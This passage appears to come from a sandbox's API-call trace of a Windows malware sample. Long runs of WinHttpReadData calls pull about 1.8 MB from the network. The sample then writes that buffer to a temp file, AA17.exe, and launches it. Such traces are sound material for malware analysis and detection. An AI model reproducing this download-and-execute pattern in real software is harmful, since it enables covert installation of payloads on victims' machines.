(Heap=0x9140000, Flags=0x8, Ptr=0x8fd5040, Size=0x138800) returned 0x9154040 [0185.925] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x928a040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x928a040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0185.933] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9154040, Size=0x13b000) returned 0x8fdc040 [0185.964] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9114840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9114840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.055] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdc040, Size=0x13d800) returned 0x9150040 [0186.102] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x928b040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x928b040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.173] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9150040, Size=0x140000) returned 0x8fd1040 [0186.207] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x910e840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x910e840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.243] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd1040, Size=0x142800) returned 0x915c040 [0186.272] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x929c040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x929c040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.273] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915c040, Size=0x145000) returned 0x8fdf040 [0186.349] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9121840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9121840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.409] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdf040, Size=0x147800) returned 0x915f040 [0186.437] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92a4040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92a4040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.438] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915f040, Size=0x14a000) returned 0x8fdb040 [0186.471] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9122840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9122840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.527] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdb040, Size=0x14c800) returned 0x9150040 [0186.556] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x929a040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x929a040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.634] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9150040, Size=0x14f000) returned 0x8fdb040 [0186.773] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9127840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9127840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.879] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fdb040, Size=0x151800) returned 0x9155040 [0186.917] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92a4040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92a4040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0186.990] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9155040, Size=0x154000) returned 0x8fd5040 [0187.021] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9126840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9126840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.098] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd5040, Size=0x156800) returned 0x9156040 [0187.191] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92aa040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92aa040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.192] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9156040, Size=0x159000) returned 0x8fde040 [0187.223] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9134840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9134840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.243] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fde040, Size=0x15b800) returned 0x9154040 [0187.275] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92ad040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92ad040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.365] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9154040, Size=0x15e000) returned 0x8fd9040 [0187.406] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x9134840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x9134840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.406] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x8fd9040, Size=0x160800) returned 0x9151040 [0187.441] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92af040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92af040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.549] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9151040, Size=0x163000) returned 0xb0de040 [0187.581] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xb23e840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xb23e840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.610] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xb0de040, Size=0x165800) returned 0x915f040 [0187.650] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92c2040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92c2040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.708] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x915f040, Size=0x168000) returned 0xb0de040 [0187.875] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xb243840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xb243840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0187.918] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xb0de040, Size=0x16a800) returned 0x9159040 [0187.950] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92c1040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92c1040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.130] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9159040, Size=0x16d000) returned 0xb0d8040 [0188.197] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xb242840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xb242840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.247] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xb0d8040, Size=0x16f800) returned 0x9159040 [0188.383] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92c6040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92c6040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.404] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9159040, Size=0x172000) returned 0xb0dc040 [0188.436] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xb24b840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xb24b840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.527] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xb0dc040, Size=0x174800) returned 0x9151040 [0188.567] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0x92c3040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0x92c3040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.612] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9151040, Size=0x177000) returned 0xb0d4040 [0188.738] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xb248840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xb248840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.791] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xb0d4040, Size=0x179800) returned 0xf746040 [0188.826] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8bd040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8bd040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0188.916] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf746040, Size=0x17c000) returned 0xf9dc040 [0189.012] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb55840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb55840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.012] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9dc040, Size=0x17e800) returned 0xf742040 [0189.048] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8be040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8be040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.077] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf742040, Size=0x181000) returned 0xf9d7040 [0189.119] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb55840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb55840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.201] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d7040, Size=0x183800) returned 0xf740040 [0189.433] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8c1040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8c1040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.446] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf740040, Size=0x186000) returned 0xf9d8040 [0189.480] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb5b840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb5b840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.593] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d8040, Size=0x188800) returned 0xf74f040 [0189.630] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8d5040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8d5040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.646] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74f040, Size=0x18b000) returned 0xf9d5040 [0189.803] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb5d840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb5d840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.820] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d5040, Size=0x18d800) returned 0xf74f040 [0189.855] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8da040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8da040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0189.945] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74f040, Size=0x190000) returned 0xf9de040 [0190.029] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb6b840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb6b840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.030] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9de040, Size=0x192800) returned 0xf74e040 [0190.098] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8de040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8de040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.177] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74e040, Size=0x195000) returned 0xf9d1040 [0190.257] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb63840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb63840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.259] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d1040, Size=0x197800) returned 0xf74d040 [0190.308] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8e2040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8e2040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.410] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74d040, Size=0x19a000) returned 0xf9dc040 [0190.642] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb73840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb73840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.644] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9dc040, Size=0x19c800) returned 0xf746040 [0190.684] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8e0040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8e0040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.752] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf746040, Size=0x19f000) returned 0xf9d8040 [0190.795] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb74840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb74840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0190.836] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d8040, Size=0x1a1800) returned 0xf74e040 [0190.947] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8ed040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8ed040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.015] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74e040, Size=0x1a4000) returned 0xf9d4040 [0191.062] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb75840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb75840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.093] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d4040, Size=0x1a6800) returned 0xf747040 [0191.213] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8eb040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8eb040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.214] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf747040, Size=0x1a9000) returned 0xf9d2040 [0191.252] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb78840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb78840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.266] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d2040, Size=0x1ab800) returned 0xf74b040 [0191.308] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8f4040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8f4040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.386] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74b040, Size=0x1ae000) returned 0xf9d0040 [0191.454] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb7b840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb7b840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.573] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d0040, Size=0x1b0800) returned 0xf74e040 [0191.627] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8fc040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8fc040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.663] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74e040, Size=0x1b3000) returned 0xf9d2040 [0191.790] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb82840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb82840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.829] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d2040, Size=0x1b5800) returned 0xf749040 [0191.872] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf8fc040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf8fc040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0191.937] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf749040, Size=0x1b8000) returned 0xf9d2040 [0192.040] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb87840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb87840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0192.041] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d2040, Size=0x1ba800) returned 0xf74c040 [0192.080] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf904040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf904040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0192.111] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74c040, Size=0x1bd000) returned 0xf9da040 [0192.150] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb94840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb94840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0192.230] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9da040, Size=0x1bf800) returned 0xf74f040 [0192.371] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf90c040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf90c040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0192.384] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf74f040, Size=0x1c2000) returned 0xf9d2040 [0192.429] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xfb91840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xfb91840*, lpdwNumberOfBytesRead=0x1004fcb8*=0x2800) returned 1 [0192.544] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0xf9d2040, Size=0x1c4800) returned 0xf742040 [0192.583] WinHttpReadData (in: hRequest=0x56bee0, lpBuffer=0xf904040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fcb8 | out: lpBuffer=0xf904040*, lpdwNumberOfBytesRead=0x1004fcb8*=0x0) returned 1 [0192.583] VirtualAlloc (lpAddress=0x0, dwSize=0x1c2000, flAllocationType=0x3000, flProtect=0x4) returned 0xf9d0000 [0192.666] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0xf742040) returned 1 [0192.685] WinHttpCloseHandle (hInternet=0x56bee0) returned 1 [0192.685] WinHttpCloseHandle (hInternet=0x86aa820) returned 1 [0192.685] WinHttpCloseHandle (hInternet=0x86599e0) returned 1 [0192.686] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9143960) returned 0x10c [0192.686] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9143960) returned 1 [0192.704] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9143910) returned 0x39 [0192.704] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9143910) returned 1 [0192.705] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91438f0) returned 0x13 [0192.705] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91438f0) returned 1 [0192.705] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x210) returned 0x9145db0 [0192.707] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x210) returned 0x9145fd0 [0192.707] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x9145fd0 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0192.707] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" [0192.707] GetTempFileNameW (in: lpPathName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x9145fd0 | out: lpTempFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aa17.tmp")) returned 0xaa17 [0192.711] DeleteFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aa17.tmp")) returned 1 [0192.712] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.tmp") returned 45 [0192.712] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17" [0192.712] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9145fd0) returned 0x210 [0192.712] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145fd0) returned 1 [0192.712] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9140720 [0192.712] lstrcatW (in: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17", lpString2=".exe" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe" [0192.712] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140720) returned 0x12 [0192.712] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140720) returned 1 [0192.712] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\aa17.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x21c0 [0192.713] WriteFile (in: hFile=0x21c0, lpBuffer=0xf9d0000*, nNumberOfBytesToWrite=0x1c2000, lpNumberOfBytesWritten=0x1004fd18, lpOverlapped=0x0 | out: lpBuffer=0xf9d0000*, lpNumberOfBytesWritten=0x1004fd18*=0x1c2000, lpOverlapped=0x0) returned 1 [0193.174] CloseHandle (hObject=0x21c0) returned 1 [0193.223] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName=0x0, lpCommandLine="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\AA17.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpStartupInfo=0x1004fd40*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1004fd20, hNewToken=0x0 | out: lpProcessInformation=0x1004fd20*(hProcess=0x1e14, hThread=0x21c0, dwProcessId=0x1218, dwThreadId=0xfe4), hNewToken=0x0) returned 1 [0193.421] CloseHandle (hObject=0x1e14) returned 1 [0193.421] CloseHandle (hObject=0x21c0) returned 1 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfde0bf49 [0193.421] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x105) returned 0x9140720 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x27a44d2c [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7dcd7ab2 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb658979c [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7dd36871 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xae719a9b [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7eaf3299 [0193.421] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 